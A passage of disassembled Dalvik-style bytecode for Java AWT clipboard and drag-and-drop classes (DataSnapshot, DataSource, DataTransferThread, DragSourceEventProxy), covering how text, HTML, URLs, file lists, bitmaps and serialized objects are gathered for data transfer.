00000066  invoke-interface        Iterator->next()Object, v4
0000006C  move-result-object      v0
0000006E  check-cast              v0, DataFlavor
00000072  invoke-virtual          ArrayList->contains(Object)Z, v2, v0
00000078  move-result             v5
0000007A  if-nez                  v5, :52
:7E
0000007E  invoke-virtual          ArrayList->add(Object)Z, v2, v0
00000084  goto                    :52
.end method

.method public isDataFlavorSupported(DataFlavor)Z
          .registers 6
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          DataProxy->getTransferDataFlavors()[DataFlavor, p0
00000008  move-result-object      v2
0000000A  move                    v0, v1
:C
0000000C  array-length            v3, v2
0000000E  if-lt                   v0, v3, :14
:12
00000012  return                  v1
:14
00000014  aget-object             v3, v2, v0
00000018  invoke-virtual          DataFlavor->equals(DataFlavor)Z, v3, p1
0000001E  move-result             v3
00000020  if-eqz                  v3, :28
:24
00000024  const/4                 v1, 0x1
00000026  goto                    :12
:28
00000028  add-int/lit8            v0, v0, 0x1
0000002C  goto                    :C
.end method

#--------------------------------------------------------------------------------
.class public DataSnapshot
.super Object
.source ""

.implements DataProvider

.field private final fileList:[String
.field private final html:String
.field private final nativeFormats:[String
.field private final rawBitmap:RawBitmap
.field private final serializedObjects:Map
.field private final text:String
.field private final url:String

.method public constructor <init>(DataProvider)V
          .registers 6
00000000  invoke-direct           Object-><init>()V, p0
00000006  invoke-interface        DataProvider->getNativeFormats()[String, p1
0000000C  move-result-object      v0
0000000E  iput-object             v0, p0, DataSnapshot->nativeFormats:[String
00000012  invoke-interface        DataProvider->getText()String, p1
00000018  move-result-object      v0
0000001A  iput-object             v0, p0, DataSnapshot->text:String
0000001E  invoke-interface        DataProvider->getFileList()[String, p1
00000024  move-result-object      v0
00000026  iput-object             v0, p0, DataSnapshot->fileList:[String
0000002A  invoke-interface        DataProvider->getURL()String, p1
00000030  move-result-object      v0
00000032  iput-object             v0, p0, DataSnapshot->url:String
00000036  invoke-interface        DataProvider->getHTML()String, p1
0000003C  move-result-object      v0
0000003E  iput-object             v0, p0, DataSnapshot->html:String
00000042  invoke-interface        DataProvider->getRawBitmap()RawBitmap, p1
00000048  move-result-object      v0
0000004A  iput-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000004E  new-instance            v0, HashMap
00000052  invoke-direct           HashMap-><init>()V, v0
00000058  invoke-static           Collections->synchronizedMap(Map)Map, v0
0000005E  move-result-object      v0
00000060  iput-object             v0, p0, DataSnapshot->serializedObjects:Map
00000064  const/4                 v0, 0x0
:66
00000066  iget-object             v1, p0, DataSnapshot->nativeFormats:[String
0000006A  array-length            v1, v1
0000006C  if-lt                   v0, v1, :72
:70
00000070  return-void
:72
00000072  const/4                 v1, 0x0
:74
00000074  iget-object             v2, p0, DataSnapshot->nativeFormats:[String
00000078  aget-object             v2, v2, v0
0000007C  invoke-static           SystemFlavorMap->decodeDataFlavor(String)DataFlavor, v2
:82
00000082  move-result-object      v1
:84
00000084  if-eqz                  v1, :A6
:88
00000088  invoke-virtual          DataFlavor->getRepresentationClass()Class, v1
0000008E  move-result-object      v1
00000090  invoke-interface        DataProvider->getSerializedObject(Class)[B, p1, v1
00000096  move-result-object      v2
00000098  if-eqz                  v2, :A6
:9C
0000009C  iget-object             v3, p0, DataSnapshot->serializedObjects:Map
000000A0  invoke-interface        Map->put(Object, Object)Object, v3, v1, v2
:A6
000000A6  add-int/lit8            v0, v0, 0x1
000000AA  goto                    :66
:AC
000000AC  move-exception          v2
000000AE  goto                    :84
          .catch ClassNotFoundException {:74 .. :82} :AC
.end method

.method public getFileList()[String
          .registers 2
00000000  iget-object             v0, p0, DataSnapshot->fileList:[String
00000004  return-object           v0
.end method

.method public getHTML()String
          .registers 2
00000000  iget-object             v0, p0, DataSnapshot->html:String
00000004  return-object           v0
.end method

.method public getNativeFormats()[String
          .registers 2
00000000  iget-object             v0, p0, DataSnapshot->nativeFormats:[String
00000004  return-object           v0
.end method

.method public getRawBitmap()RawBitmap
          .registers 2
00000000  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
00000004  return-object           v0
.end method

.method public getRawBitmapBuffer16()[S
          .registers 2
00000000  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
00000004  if-eqz                  v0, :26
:8
00000008  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000000C  iget-object             v0, v0, RawBitmap->buffer:Object
00000010  instance-of             v0, v0, [S
00000014  if-eqz                  v0, :26
:18
00000018  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000001C  iget-object             v0, v0, RawBitmap->buffer:Object
00000020  check-cast              v0, [S
:24
00000024  return-object           v0
:26
00000026  const/4                 v0, 0x0
00000028  goto                    :24
.end method

.method public getRawBitmapBuffer32()[I
          .registers 2
00000000  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
00000004  if-eqz                  v0, :26
:8
00000008  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000000C  iget-object             v0, v0, RawBitmap->buffer:Object
00000010  instance-of             v0, v0, [I
00000014  if-eqz                  v0, :26
:18
00000018  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000001C  iget-object             v0, v0, RawBitmap->buffer:Object
00000020  check-cast              v0, [I
:24
00000024  return-object           v0
:26
00000026  const/4                 v0, 0x0
00000028  goto                    :24
.end method

.method public getRawBitmapBuffer8()[B
          .registers 2
00000000  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
00000004  if-eqz                  v0, :26
:8
00000008  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000000C  iget-object             v0, v0, RawBitmap->buffer:Object
00000010  instance-of             v0, v0, [B
00000014  if-eqz                  v0, :26
:18
00000018  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000001C  iget-object             v0, v0, RawBitmap->buffer:Object
00000020  check-cast              v0, [B
:24
00000024  return-object           v0
:26
00000026  const/4                 v0, 0x0
00000028  goto                    :24
.end method

.method public getRawBitmapHeader()[I
          .registers 2
00000000  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000000C  invoke-virtual          RawBitmap->getHeader()[I, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

.method public getSerializedObject(Class)[B
          .registers 3
00000000  iget-object             v0, p0, DataSnapshot->serializedObjects:Map
00000004  invoke-interface        Map->get(Object)Object, v0, p1
0000000A  move-result-object      v0
0000000C  check-cast              v0, [B
00000010  return-object           v0
.end method

.method public getSerializedObject(String)[B
          .registers 3
00000000  invoke-static           SystemFlavorMap->decodeDataFlavor(String)DataFlavor, p1
00000006  move-result-object      v0
00000008  invoke-virtual          DataFlavor->getRepresentationClass()Class, v0
0000000E  move-result-object      v0
00000010  invoke-virtual          DataSnapshot->getSerializedObject(Class)[B, p0, v0
:16
00000016  move-result-object      v0
:18
00000018  return-object           v0
:1A
0000001A  move-exception          v0
0000001C  const/4                 v0, 0x0
0000001E  goto                    :18
          .catch Exception {:0 .. :16} :1A
.end method

.method public getText()String
          .registers 2
00000000  iget-object             v0, p0, DataSnapshot->text:String
00000004  return-object           v0
.end method

.method public getURL()String
          .registers 2
00000000  iget-object             v0, p0, DataSnapshot->url:String
00000004  return-object           v0
.end method

.method public isNativeFormatAvailable(String)Z
          .registers 5
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  if-nez                  p1, :A
:8
00000008  return                  v0
:A
0000000A  const-string            v2, "text/plain"
0000000E  invoke-virtual          String->equals(Object)Z, p1, v2
00000014  move-result             v2
00000016  if-eqz                  v2, :26
:1A
0000001A  iget-object             v2, p0, DataSnapshot->text:String
0000001E  if-eqz                  v2, :8
:22
00000022  move                    v0, v1
00000024  goto                    :8
:26
00000026  const-string            v2, "application/x-java-file-list"
0000002A  invoke-virtual          String->equals(Object)Z, p1, v2
00000030  move-result             v2
00000032  if-eqz                  v2, :42
:36
00000036  iget-object             v2, p0, DataSnapshot->fileList:[String
0000003A  if-eqz                  v2, :8
:3E
0000003E  move                    v0, v1
00000040  goto                    :8
:42
00000042  const-string            v2, "application/x-java-url"
00000046  invoke-virtual          String->equals(Object)Z, p1, v2
0000004C  move-result             v2
0000004E  if-eqz                  v2, :5E
:52
00000052  iget-object             v2, p0, DataSnapshot->url:String
00000056  if-eqz                  v2, :8
:5A
0000005A  move                    v0, v1
0000005C  goto                    :8
:5E
0000005E  const-string            v2, "text/html"
00000062  invoke-virtual          String->equals(Object)Z, p1, v2
00000068  move-result             v2
0000006A  if-eqz                  v2, :7A
:6E
0000006E  iget-object             v2, p0, DataSnapshot->html:String
00000072  if-eqz                  v2, :8
:76
00000076  move                    v0, v1
00000078  goto                    :8
:7A
0000007A  const-string            v2, "image/x-java-image"
0000007E  invoke-virtual          String->equals(Object)Z, p1, v2
00000084  move-result             v2
00000086  if-eqz                  v2, :96
:8A
0000008A  iget-object             v2, p0, DataSnapshot->rawBitmap:RawBitmap
0000008E  if-eqz                  v2, :8
:92
00000092  move                    v0, v1
00000094  goto                    :8
:96
00000096  invoke-static           SystemFlavorMap->decodeDataFlavor(String)DataFlavor, p1
0000009C  move-result-object      v1
0000009E  iget-object             v2, p0, DataSnapshot->serializedObjects:Map
000000A2  invoke-virtual          DataFlavor->getRepresentationClass()Class, v1
000000A8  move-result-object      v1
000000AA  invoke-interface        Map->containsKey(Object)Z, v2, v1
:B0
000000B0  move-result             v0
000000B2  goto                    :8
:B4
000000B4  move-exception          v1
000000B6  goto                    :8
          .catch Exception {:96 .. :B0} :B4
.end method

#--------------------------------------------------------------------------------
.class public DataSource
.super Object
.source ""

.implements DataProvider

.field protected final contents:Transferable
.field private flavors:[DataFlavor
.field private nativeFormats:List

.method public constructor <init>(Transferable)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, DataSource->contents:Transferable
0000000A  return-void
.end method

.method private getImageBitmap(Image)RawBitmap
          .registers 8
00000000  const/4                 v5, 0x1
00000002  const/4                 v4, 0x0
00000004  const/4                 v1, 0x0
00000006  instance-of             v0, p1, BufferedImage
0000000A  if-eqz                  v0, :2A
:E
0000000E  move-object             v0, p1
00000010  check-cast              v0, BufferedImage
00000014  invoke-virtual          BufferedImage->getType()I, v0
0000001A  move-result             v2
0000001C  if-ne                   v2, v5, :2A
:20
00000020  invoke-direct           DataSource->getImageBitmap32(BufferedImage)RawBitmap, p0, v0
00000026  move-result-object      v0
:28
00000028  return-object           v0
:2A
0000002A  invoke-virtual          Image->getWidth(ImageObserver)I, p1, v1
00000030  move-result             v0
00000032  invoke-virtual          Image->getHeight(ImageObserver)I, p1, v1
00000038  move-result             v2
0000003A  if-lez                  v0, :42
:3E
0000003E  if-gtz                  v2, :46
:42
00000042  move-object             v0, v1
00000044  goto                    :28
:46
00000046  new-instance            v3, BufferedImage
0000004A  invoke-direct           BufferedImage-><init>(I, I, I)V, v3, v0, v2, v5
00000050  invoke-virtual          BufferedImage->getGraphics()Graphics, v3
00000056  move-result-object      v0
00000058  invoke-virtual          Graphics->drawImage(Image, I, I, ImageObserver)Z, v0, p1, v4, v4, v1
0000005E  invoke-virtual          Graphics->dispose()V, v0
00000064  invoke-direct           DataSource->getImageBitmap32(BufferedImage)RawBitmap, p0, v3
0000006A  move-result-object      v0
0000006C  goto                    :28
.end method

.method private getImageBitmap32(BufferedImage)RawBitmap
          .registers 12
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          BufferedImage->getWidth()I, p1
00000008  move-result             v0
0000000A  invoke-virtual          BufferedImage->getHeight()I, p1
00000010  move-result             v2
00000012  mul-int/2addr           v0, v2
00000014  new-array               v8, v0, [I
00000018  invoke-virtual          BufferedImage->getRaster()WritableRaster, p1
0000001E  move-result-object      v0
00000020  invoke-virtual          WritableRaster->getDataBuffer()DataBuffer, v0
00000026  move-result-object      v0
00000028  check-cast              v0, DataBufferInt
0000002C  invoke-virtual          DataBufferInt->getNumBanks()I, v0
00000032  move-result             v3
00000034  invoke-virtual          DataBufferInt->getOffsets()[I, v0
0000003A  move-result-object      v4
0000003C  move                    v2, v1
:3E
0000003E  if-lt                   v1, v3, :78
:42
00000042  new-instance            v0, RawBitmap
00000046  invoke-virtual          BufferedImage->getWidth()I, p1
0000004C  move-result             v1
0000004E  invoke-virtual          BufferedImage->getHeight()I, p1
00000054  move-result             v2
00000056  invoke-virtual          BufferedImage->getWidth()I, p1
0000005C  move-result             v3
0000005E  const/16                v4, 0x20
00000062  const/high16            v5, 0xFF0000
00000066  const                   v6, 0xFF00
0000006C  const/16                v7, 0xFF
00000070  invoke-direct/range     RawBitmap-><init>(I, I, I, I, I, I, I, Object)V, v0 .. v8
00000076  return-object           v0
:78
00000078  invoke-virtual          DataBufferInt->getData(I)[I, v0, v1
0000007E  move-result-object      v5
00000080  aget                    v6, v4, v1
00000084  array-length            v7, v5
00000086  aget                    v9, v4, v1
0000008A  sub-int/2addr           v7, v9
0000008C  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v5, v6, v8, v2, v7
00000092  array-length            v5, v5
00000094  aget                    v6, v4, v1
00000098  sub-int/2addr           v5, v6
0000009A  add-int/2addr           v2, v5
0000009C  add-int/lit8            v1, v1, 0x1
000000A0  goto                    :3E
.end method

.method private static getNativesForFlavors([DataFlavor)List
          .registers 7
00000000  new-instance            v3, ArrayList
00000004  invoke-direct           ArrayList-><init>()V, v3
0000000A  invoke-static           SystemFlavorMap->getDefaultFlavorMap()FlavorMap
00000010  move-result-object      v0
00000012  check-cast              v0, SystemFlavorMap
00000016  const/4                 v1, 0x0
00000018  move                    v2, v1
:1A
0000001A  array-length            v1, p0
0000001C  if-lt                   v2, v1, :22
:20
00000020  return-object           v3
:22
00000022  aget-object             v1, p0, v2
00000026  invoke-virtual          SystemFlavorMap->getNativesForFlavor(DataFlavor)List, v0, v1
0000002C  move-result-object      v1
0000002E  invoke-interface        List->iterator()Iterator, v1
00000034  move-result-object      v4
:36
00000036  invoke-interface        Iterator->hasNext()Z, v4
0000003C  move-result             v1
0000003E  if-nez                  v1, :4A
:42
00000042  add-int/lit8            v1, v2, 0x1
00000046  move                    v2, v1
00000048  goto                    :1A
:4A
0000004A  invoke-interface        Iterator->next()Object, v4
00000050  move-result-object      v1
00000052  check-cast              v1, String
00000056  invoke-virtual          ArrayList->contains(Object)Z, v3, v1
0000005C  move-result             v5
0000005E  if-nez                  v5, :36
:62
00000062  invoke-virtual          ArrayList->add(Object)Z, v3, v1
00000068  goto                    :36
.end method

.method private getText(Z)String
          .registers 7
00000000  iget-object             v0, p0, DataSource->contents:Transferable
00000004  invoke-interface        Transferable->getTransferDataFlavors()[DataFlavor, v0
0000000A  move-result-object      v2
0000000C  const/4                 v0, 0x0
0000000E  move                    v1, v0
:10
00000010  array-length            v0, v2
00000012  if-lt                   v1, v0, :1A
:16
00000016  const/4                 v0, 0x0
:18
00000018  return-object           v0
:1A
0000001A  aget-object             v0, v2, v1
0000001E  invoke-virtual          DataFlavor->isFlavorTextType()Z, v0
00000024  move-result             v3
00000026  if-nez                  v3, :32
:2A
0000002A  add-int/lit8            v0, v1, 0x1
0000002E  move                    v1, v0
00000030  goto                    :10
:32
00000032  if-eqz                  p1, :42
:36
00000036  invoke-direct           DataSource->isHtmlFlavor(DataFlavor)Z, p0, v0
0000003C  move-result             v3
0000003E  if-eqz                  v3, :2A
:42
00000042  const-class             v3, String
00000046  invoke-virtual          DataFlavor->getRepresentationClass()Class, v0
0000004C  move-result-object      v4
0000004E  invoke-virtual          Class->isAssignableFrom(Class)Z, v3, v4
00000054  move-result             v3
00000056  if-eqz                  v3, :6C
:5A
0000005A  iget-object             v3, p0, DataSource->contents:Transferable
0000005E  invoke-interface        Transferable->getTransferData(DataFlavor)Object, v3, v0
00000064  move-result-object      v0
00000066  check-cast              v0, String
0000006A  goto                    :18
:6C
0000006C  iget-object             v3, p0, DataSource->contents:Transferable
00000070  invoke-virtual          DataFlavor->getReaderForText(Transferable)Reader, v0, v3
00000076  move-result-object      v0
00000078  invoke-direct           DataSource->getTextFromReader(Reader)String, p0, v0
:7E
0000007E  move-result-object      v0
00000080  goto                    :18
:82
00000082  move-exception          v0
00000084  goto                    :2A
          .catch Exception {:42 .. :7E} :82
.end method

.method private getTextFromReader(Reader)String
          .registers 6
00000000  new-instance            v0, StringBuilder
00000004  invoke-direct           StringBuilder-><init>()V, v0
0000000A  const/16                v1, 0x400
0000000E  new-array               v1, v1, [C
:12
00000012  invoke-virtual          Reader->read([C)I, p1, v1
00000018  move-result             v2
0000001A  if-gtz                  v2, :28
:1E
0000001E  invoke-virtual          StringBuilder->toString()String, v0
00000024  move-result-object      v0
00000026  return-object           v0
:28
00000028  const/4                 v3, 0x0
0000002A  invoke-virtual          StringBuilder->append([C, I, I)StringBuilder, v0, v1, v3, v2
00000030  goto                    :12
.end method

.method private isHtmlFlavor(DataFlavor)Z
          .registers 4
00000000  const-string            v0, "html"
00000004  invoke-virtual          DataFlavor->getSubType()String, p1
0000000A  move-result-object      v1
0000000C  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000012  move-result             v0
00000014  return                  v0
.end method

.method protected getDataFlavors()[DataFlavor
          .registers 2
00000000  iget-object             v0, p0, DataSource->flavors:[DataFlavor
00000004  if-nez                  v0, :18
:8
00000008  iget-object             v0, p0, DataSource->contents:Transferable
0000000C  invoke-interface        Transferable->getTransferDataFlavors()[DataFlavor, v0
00000012  move-result-object      v0
00000014  iput-object             v0, p0, DataSource->flavors:[DataFlavor
:18
00000018  iget-object             v0, p0, DataSource->flavors:[DataFlavor
0000001C  return-object           v0
.end method

.method public getFileList()[String
          .registers 3
00000000  iget-object             v0, p0, DataSource->contents:Transferable
00000004  sget-object             v1, DataFlavor->javaFileListFlavor:DataFlavor
00000008  invoke-interface        Transferable->getTransferData(DataFlavor)Object, v0, v1
0000000E  move-result-object      v0
00000010  check-cast              v0, List
00000014  invoke-interface        List->size()I, v0
0000001A  move-result             v1
0000001C  new-array               v1, v1, [String
00000020  invoke-interface        List->toArray([Object)[Object, v0, v1
00000026  move-result-object      v0
00000028  check-cast              v0, [String
:2C
0000002C  return-object           v0
:2E
0000002E  move-exception          v0
00000030  const/4                 v0, 0x0
00000032  goto                    :2C
          .catch Exception {:0 .. :2C} :2E
.end method

.method public getHTML()String
          .registers 2
00000000  const/4                 v0, 0x1
00000002  invoke-direct           DataSource->getText(Z)String, p0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public getNativeFormats()[String
          .registers 3
00000000  invoke-virtual          DataSource->getNativeFormatsList()List, p0
00000006  move-result-object      v0
00000008  const/4                 v1, 0x0
0000000A  new-array               v1, v1, [String
0000000E  invoke-interface        List->toArray([Object)[Object, v0, v1
00000014  move-result-object      v0
00000016  check-cast              v0, [String
0000001A  return-object           v0
.end method

.method public getNativeFormatsList()List
          .registers 2
00000000  iget-object             v0, p0, DataSource->nativeFormats:List
00000004  if-nez                  v0, :1C
:8
00000008  invoke-virtual          DataSource->getDataFlavors()[DataFlavor, p0
0000000E  move-result-object      v0
00000010  invoke-static           DataSource->getNativesForFlavors([DataFlavor)List, v0
00000016  move-result-object      v0
00000018  iput-object             v0, p0, DataSource->nativeFormats:List
:1C
0000001C  iget-object             v0, p0, DataSource->nativeFormats:List
00000020  return-object           v0
.end method

.method public getRawBitmap()RawBitmap
          .registers 6
00000000  iget-object             v0, p0, DataSource->contents:Transferable
00000004  invoke-interface        Transferable->getTransferDataFlavors()[DataFlavor, v0
0000000A  move-result-object      v2
0000000C  const/4                 v0, 0x0
0000000E  move                    v1, v0
:10
00000010  array-length            v0, v2
00000012  if-lt                   v1, v0, :1A
:16
00000016  const/4                 v0, 0x0
:18
00000018  return-object           v0
:1A
0000001A  aget-object             v0, v2, v1
0000001E  invoke-virtual          DataFlavor->getRepresentationClass()Class, v0
00000024  move-result-object      v3
00000026  if-eqz                  v3, :72
:2A
0000002A  const-class             v4, Image
0000002E  invoke-virtual          Class->isAssignableFrom(Class)Z, v4, v3
00000034  move-result             v3
00000036  if-eqz                  v3, :72
:3A
0000003A  sget-object             v3, DataFlavor->imageFlavor:DataFlavor
0000003E  invoke-virtual          DataFlavor->isMimeTypeEqual(DataFlavor)Z, v0, v3
00000044  move-result             v3
00000046  if-nez                  v3, :56
:4A
0000004A  invoke-virtual          DataFlavor->isFlavorSerializedObjectType()Z, v0
00000050  move-result             v3
00000052  if-eqz                  v3, :72
:56
00000056  iget-object             v3, p0, DataSource->contents:Transferable
0000005A  invoke-interface        Transferable->getTransferData(DataFlavor)Object, v3, v0
00000060  move-result-object      v0
00000062  check-cast              v0, Image
00000066  invoke-direct           DataSource->getImageBitmap(Image)RawBitmap, p0, v0
:6C
0000006C  move-result-object      v0
0000006E  goto                    :18
:70
00000070  move-exception          v0
:72
00000072  add-int/lit8            v0, v1, 0x1
00000076  move                    v1, v0
00000078  goto                    :10
          .catch Throwable {:56 .. :6C} :70
.end method

.method public getSerializedObject(Class)[B
          .registers 6
00000000  const/4                 v1, 0x0
:2
00000002  new-instance            v0, DataFlavor
00000006  const/4                 v2, 0x0
00000008  invoke-direct           DataFlavor-><init>(Class, String)V, v0, p1, v2
0000000E  iget-object             v2, p0, DataSource->contents:Transferable
00000012  invoke-interface        Transferable->getTransferData(DataFlavor)Object, v2, v0
00000018  move-result-object      v0
0000001A  check-cast              v0, Serializable
0000001E  new-instance            v2, ByteArrayOutputStream
00000022  invoke-direct           ByteArrayOutputStream-><init>()V, v2
00000028  new-instance            v3, ObjectOutputStream
0000002C  invoke-direct           ObjectOutputStream-><init>(OutputStream)V, v3, v2
00000032  invoke-virtual          ObjectOutputStream->writeObject(Object)V, v3, v0
00000038  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v2
:3E
0000003E  move-result-object      v0
:40
00000040  return-object           v0
:42
00000042  move-exception          v0
00000044  move-object             v0, v1
00000046  goto                    :40
          .catch Throwable {:2 .. :3E} :42
.end method

.method public getText()String
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-direct           DataSource->getText(Z)String, p0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public getURL()String
          .registers 3
00000000  iget-object             v0, p0, DataSource->contents:Transferable
00000004  sget-object             v1, DataSource->urlFlavor:DataFlavor
00000008  invoke-interface        Transferable->getTransferData(DataFlavor)Object, v0, v1
0000000E  move-result-object      v0
00000010  check-cast              v0, URL
00000014  invoke-virtual          URL->toString()String, v0
:1A
0000001A  move-result-object      v0
:1C
0000001C  return-object           v0
:1E
0000001E  move-exception          v0
:20
00000020  iget-object             v0, p0, DataSource->contents:Transferable
00000024  sget-object             v1, DataSource->uriFlavor:DataFlavor
00000028  invoke-interface        Transferable->getTransferData(DataFlavor)Object, v0, v1
0000002E  move-result-object      v0
00000030  check-cast              v0, URL
00000034  invoke-virtual          URL->toString()String, v0
:3A
0000003A  move-result-object      v0
0000003C  goto                    :1C
:3E
0000003E  move-exception          v0
:40
00000040  new-instance            v0, URL
00000044  invoke-virtual          DataSource->getText()String, p0
0000004A  move-result-object      v1
0000004C  invoke-direct           URL-><init>(String)V, v0, v1
00000052  invoke-virtual          URL->toString()String, v0
:58
00000058  move-result-object      v0
0000005A  goto                    :1C
:5C
0000005C  move-exception          v0
0000005E  const/4                 v0, 0x0
00000060  goto                    :1C
          .catch Exception {:0 .. :1A} :1E
          .catch Exception {:20 .. :3A} :3E
          .catch Exception {:40 .. :58} :5C
.end method

.method public isNativeFormatAvailable(String)Z
          .registers 3
00000000  invoke-virtual          DataSource->getNativeFormatsList()List, p0
00000006  move-result-object      v0
00000008  invoke-interface        List->contains(Object)Z, v0, p1
0000000E  move-result             v0
00000010  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public DataTransferThread
.super Thread
.source ""

.field private final dtk:DTK

.method public constructor <init>(DTK)V
          .registers 3
00000000  const-string            v0, "AWT-DataTransferThread"
00000004  invoke-direct           Thread-><init>(String)V, p0, v0
0000000A  const/4                 v0, 0x1
0000000C  invoke-virtual          DataTransferThread->setDaemon(Z)V, p0, v0
00000012  iput-object             p1, p0, DataTransferThread->dtk:DTK
00000016  return-void
.end method

.method public run()V
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, DataTransferThread->dtk:DTK
00000006  invoke-virtual          DTK->initDragAndDrop()V, v0
:C
0000000C  invoke-virtual          Object->notifyAll()V, p0
00000012  monitor-exit            p0
:14
00000014  iget-object             v0, p0, DataTransferThread->dtk:DTK
00000018  invoke-virtual          DTK->runEventLoop()V, v0
0000001E  return-void
:20
00000020  move-exception          v0
:22
00000022  invoke-virtual          Object->notifyAll()V, p0
00000028  throw                   v0
:2A
0000002A  move-exception          v0
0000002C  monitor-exit            p0
:2E
0000002E  throw                   v0
          .catchall {:2 .. :C} :20
          .catchall {:C .. :14} :2A
          .catchall {:22 .. :2E} :2A
.end method

.method public start()V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  invoke-super            Thread->start()V, p0
:8
00000008  invoke-virtual          Object->wait()V, p0
:E
0000000E  monitor-exit            p0
00000010  return-void
:12
00000012  move-exception          v0
00000014  new-instance            v1, RuntimeException
00000018  invoke-direct           RuntimeException-><init>(Throwable)V, v1, v0
0000001E  throw                   v1
:20
00000020  move-exception          v0
00000022  monitor-exit            p0
:24
00000024  throw                   v0
          .catchall {:2 .. :8} :20
          .catch InterruptedException {:8 .. :E} :12
          .catchall {:8 .. :E} :20
          .catchall {:E .. :24} :20
.end method

#--------------------------------------------------------------------------------
.class public DragSourceEventProxy
.super Object
.source ""

.implements Runnable

.field public static final DRAG_ACTION_CHANGED:I = 0x3
.field public static final DRAG_DROP_END:I = 0x6
.field public static final DRAG_ENTER:I = 0x1
.field public static final DRAG_EXIT:I = 0x5
.field public static final DRAG_MOUSE_MOVED:I = 0x4
.field public static final DRAG_OVER:I = 0x2
.field private final context:DragSourceContext
.field private final modifiers:I
.field private final success:Z
.field private final targetActions:I
.field private final type:I
.field private final userAction:I
.field private final x:I
.field private final y:I

.method public constructor <init>(DragSourceContext, I, I, I, Point, I)V
          .registers 8
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, DragSourceEventProxy->context:DragSourceContext
0000000A  iput                    p2, p0, DragSourceEventProxy->type:I
0000000E  iput                    p3, p0, DragSourceEventProxy->userAction:I
00000012  iput                    p4, p0, DragSourceEventProxy->targetActions:I
00000016  iget                    v0, p5, Point->x:I
0000001A  iput                    v0, p0, DragSourceEventProxy->x:I
0000001E  iget                    v0, p5, Point->y:I
00000022  iput                    v0, p0, DragSourceEventProxy->y:I
00000026  iput                    p6, p0, DragSourceEventProxy->modifiers:I
0000002A  const/4                 v0, 0x0
0000002C  iput-boolean            v0, p0, DragSourceEventProxy->success:Z
00000030  return-void
.end method

.method public constructor <init>(DragSourceContext, I, I, Z, Point, I)V
          .registers 8
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, DragSourceEventProxy->context:DragSourceContext
0000000A  iput                    p2, p0, DragSourceEventProxy->type:I
0000000E  iput                    p3, p0, DragSourceEventProxy->userAction:I
00000012  iput                    p3, p0, DragSourceEventProxy->targetActions:I
00000016  iget                    v0, p5, Point->x:I
0000001A  iput                    v0, p0, DragSourceEventProxy->x:I
0000001E  iget                    v0, p5, Point->y:I
00000022  iput                    v0, p0, DragSourceEventProxy->y:I
00000026  iput                    p6, p0, DragSourceEventProxy->modifiers:I
0000002A  iput-boolean            p4, p0, DragSourceEventProxy->success:Z
0000002E  return-void
.end method

.method private newDragSourceDragEvent()DragSourceDragEvent
          .registers 8
00000000  new-instance            v0, DragSourceDragEvent
00000004  iget-object             v1, p0, DragSourceEventProxy->context:DragSourceContext
00000008  iget                    v2, p0, DragSourceEventProxy->userAction:I
0000000C  iget                    v3, p0, DragSourceEventProxy->targetActions:I
00000010  iget                    v4, p0, DragSourceEventProxy->modifiers:I
00000014  iget                    v5, p0, DragSourceEventProxy->x:I
00000018  iget                    v6, p0, DragSourceEventProxy->y:I
0000001C  invoke-direct/range     DragSourceDragEvent-><init>(DragSourceContext, I, I, I, I, I)V, v0 .. v6
00000022  return-object           v0
.end method

.method public run()V
          .registers 8
00000000  iget                    v0, p0, DragSourceEventProxy->type:I
00000004  packed-switch           v0, :A8
:A
0000000A  return-void
:C
0000000C  iget-object             v0, p0, DragSourceEventProxy->context:DragSourceContext
00000010  invoke-direct           DragSourceEventProxy->newDragSourceDragEvent()DragSourceDragEvent, p0
00000016  move-result-object      v1
00000018  invoke-virtual          DragSourceContext->dragEnter(DragSourceDragEvent)V, v0, v1
0000001E  goto                    :A
:20
00000020  iget-object             v0, p0, DragSourceEventProxy->context:DragSourceContext
00000024  invoke-direct           DragSourceEventProxy->newDragSourceDragEvent()DragSourceDragEvent, p0
0000002A  move-result-object      v1
0000002C  invoke-virtual          DragSourceContext->dragOver(DragSourceDragEvent)V, v0, v1
00000032  goto                    :A
:34
00000034  iget-object             v0, p0, DragSourceEventProxy->context:DragSourceContext
00000038  invoke-direct           DragSourceEventProxy->newDragSourceDragEvent()DragSourceDragEvent, p0
0000003E  move-result-object      v1
00000040  invoke-virtual          DragSourceContext->dropActionChanged(DragSourceDragEvent)V, v0, v1
00000046  goto                    :A
:48
00000048  iget-object             v0, p0, DragSourceEventProxy->context:DragSourceContext
0000004C  invoke-direct           DragSourceEventProxy->newDragSourceDragEvent()DragSourceDragEvent, p0
00000052  move-result-object      v1
00000054  invoke-virtual          DragSourceContext->dragMouseMoved(DragSourceDragEvent)V, v0, v1
0000005A  goto                    :A
:5C
